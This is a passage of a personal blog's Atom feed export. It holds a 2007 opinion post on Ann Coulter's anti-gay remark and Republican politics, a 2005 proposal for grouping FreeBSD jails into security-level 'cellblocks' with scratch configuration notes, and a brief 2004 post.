statements make the target of the hate feel hatred at the speaker, but more importantly, the people that eat it up just feel good about it.&lt;br&gt;&lt;br&gt;People clapped at this joke.&lt;br&gt;&lt;br&gt;They actually thought it was funny.&lt;br&gt;&lt;br&gt;That emotional bond created cannot be broken by pure logical discourse.  Such people cannot be reasoned with.  So, it's like &lt;a href="http://en.wikipedia.org/wiki/Kool-Aid...22Drinking_the_Kool-Aid.22"&gt;drinking the Kool-Aid&lt;/a&gt;, once they've had a taste there isn't any going back.&lt;br&gt;&lt;br&gt;But here's the brilliance of Ann Coulter's statement.  Not only did she make a divisive statement to have others drink the Kool-Aid, she might make &lt;a href="http://en.wikipedia.org/wiki/Mitt_Romney"&gt;Mitch Romney&lt;/a&gt; sell his soul.   Mitch Romney, by the way, is the currently leading Republican presidential candidate.&lt;br&gt;&lt;br&gt;Say wha?  What the fuck am I talking about?!  And why should we care?&lt;br&gt;&lt;br&gt;The 2008 U.S. presidential election is going to be as nasty as the last two if people such as the attendees of the Conservative Political Action Conference are any indication of those with power.  Mitch Romney now has two options: he can discredit Ann Coulter and publicly denounce her statement as vile or not.  If he does the prior, he will jetison the deeply conservative side of the party, weakening his chances to become President.  We would expect this out of a leader, but Presidents aren't always good leaders :-)  If he doesn't come out against the remark, by either ignoring it or stating something to the affect that everyone has a right to freedom of speech, then he is unfortunately once again dividing our society.  This also allows that deep and powerful conservative side to retain some sway over our society.  Which just means the bullshit will be happening at least one more time.&lt;br&gt;&lt;br&gt;So, by this one perceived insult to faggots (it really doesn't bother me, since I could give a rat's ass and I'm damn comfortable with who I am), Ann Coulter is actually trumpeting a rally cry for the conservatives to recover their waning power.  A fitting analogy is that of an aging lion: once he realizes his power is waning, he becomes more ferocious towards the youthful lions moving in on his territory.  Notice that none of the serious Republican front-runners are deeply conservative.  Romney, Guilanni, and McCain, *gasp*, actually have some liberal ideals.  They are the threat to the deep conservative establishment, not you nor I.  Once the Republicans elect someone more moderate, then the shadow of Bush/Rove Inc., will pass, brining again light to our society.&lt;br&gt;&lt;br&gt;So, give it time.  It's actually funny to see people like Ann Coulter not go gentle into that good night.  It just reaffirms that their time is coming.  And being Minnesotan, I can appreciate a good thaw after a rough winter, for spring is a site to see here.  Won't it be a site to see in our society once the conservative winter has passed, too?&lt;br&gt;&lt;br&gt;Good Night and Good Luck&lt;br&gt;&lt;br&gt;Jon&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-1495331354885855751?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/1495331354885855751/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=1495331354885855751' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1495331354885855751'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1495331354885855751'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2007/03/on-ann-coulter-and-hatred.html' title='On Ann Coulter and Hatred'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-110557393082953627</id><published>2005-01-12T17:25:00.000-06:00</published><updated>2005-01-12T17:52:10.830-06:00</updated><title type='text'>Cellblocks</title><content type='html'>&lt;a href="http://www.freebsd.org"&gt;FreeBSD&lt;/a&gt; has a feature called &lt;a href="http://www.freebsd.org/doc/en_US.ISO8859-1/books/arch-handbook/jail.html"&gt;jail&lt;/a&gt; that allows for process segregation among &lt;a href="http://docs.freebsd.org/44doc/papers/jail/jail.html"&gt;other&lt;/a&gt; things.  I wish to see it extended for system administration outside of individual virtual systems.  I wish to see it extended to allow for service provisioning and management without having the sysadmin dink around with the yucky stuff.&lt;br /&gt;&lt;br /&gt;The concept is what I originally called a zone, but since Sun Microsystems uses that nominclature for Solaris, the term 'block' or 'cellblock' may cause less confusion.  A cellblock is a collection of jails that share a similar levels of security assurance.  An example of a security assurance level is a DMZ.  It is a logical and/or physical partition that offers a level of trust as seen by the sysadmin.  This trust may be based on  source or destination networks, data classification, or whatnot.  The premise is the sysadmin has identified and catagorized these partitions.   A basic example would be an internal, external, and DMZ setup.&lt;br /&gt;&lt;br /&gt;Now, what I wish to see is a setup that allows a sysadmin to provision or move services based on zones, versus on a system setup.  If 10 different systems are setup within the same cellblock, then anyone of them could run the service without compromising the security assurances in place.  It may not make sense to move a high-load service to a slow system, but it &lt;span style="font-weight: bold;"&gt;should&lt;/span&gt; not cause any security issues during the move.&lt;br /&gt;&lt;br /&gt;Ideally, if the host is wholely running all services within cellblocks, any one of those services can get migrated, or new services can get added, without security concerns.  That's the idea, anyways :-)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here's some scratch notes on how I would implement this on FreeBSD.&lt;br /&gt;&lt;br /&gt;--) each jail in a cell block carries a generic configuration&lt;br /&gt;    fstab.generic&lt;br /&gt;        /.CURDIR        /${CELLBLOCK_MNT}&lt;br /&gt;&lt;br /&gt;    for each of these generic files, the cell block will create an&lt;br /&gt;    instance tuned specifically.  These files do not migrate.&lt;br /&gt;    fstab.local&lt;br /&gt;&lt;br /&gt;What this means is that each jail will have mounts that need to me honored by the cellblock.  If the cellblock cannot honor the mounts, the jail will not function correctly.  The naming scheme should be that generic names can be used so if a systems has a different drive setup, it still can take part in the cellblock.&lt;br /&gt;&lt;br /&gt;--) each jail shall use a unique fqdn.  Its IP address can be either&lt;br /&gt;    dynamic (dhclient w/ pseudo call) or static.&lt;br /&gt;&lt;br /&gt;DHCP can assign alias IP addresses to interfaces w/o killing the defined one.  Great for IP preservation, since the jail can be setup to request the IP associated w/ its FQDN.&lt;br /&gt;&lt;br /&gt;--) each jail shall list out what tcp/udp ports it needs open&lt;br /&gt;&lt;br /&gt;For fw configuration.&lt;br /&gt;&lt;br /&gt;--) All this shall be captured in a rc.conf'ish file&lt;br /&gt;&lt;br /&gt;Deity bless rc files.&lt;br /&gt;&lt;br /&gt;--) The cell blocks will have a pseudo ports creation that will list&lt;br /&gt;    out the dependencies.  One setup, the cell block shall store its&lt;br /&gt;    general variables for future reference.  E.g.:&lt;br /&gt;&lt;br /&gt;    /usr/local/etc/rc.d/cellblock/cellblock_X&lt;br /&gt;        repository of per-bloc instances&lt;br /&gt;        contains variable-to-data mapping, e.g.:&lt;br /&gt;                CELLBLOCK_MNT=/usr/blocks/blocks_X&lt;br /&gt;                CELLBLOCK_INT=fxp0&lt;br /&gt;                CELLBLOCK_RANGE=10/8&lt;br /&gt;&lt;br /&gt;This gets into the nasty on how a system can ensure it can handle a specific cellblock.  So, imagine a /usr/ports entry where one just had to 'make &amp;&amp;amp;  make install' to install a cellblock.  All dependencies would be taken care of, automagically!&lt;br /&gt;&lt;br /&gt;Thoughts?  Comments?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-110557393082953627?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/110557393082953627/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=110557393082953627' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/110557393082953627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/110557393082953627'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2005/01/cellblocks.html' title='Cellblocks'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-110213138624235110</id><published>2004-12-03T21:34:00.000-06:00</published><updated>2004-12-03T21:36:26.243-06:00</updated><title type='text'>SYN</title><content type='html'>Here's to documentation!&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-110213138624235110?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/110213138624235110/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=110213138624235110' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/110213138624235110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/110213138624235110'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2004/12/syn.html' title='SYN'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
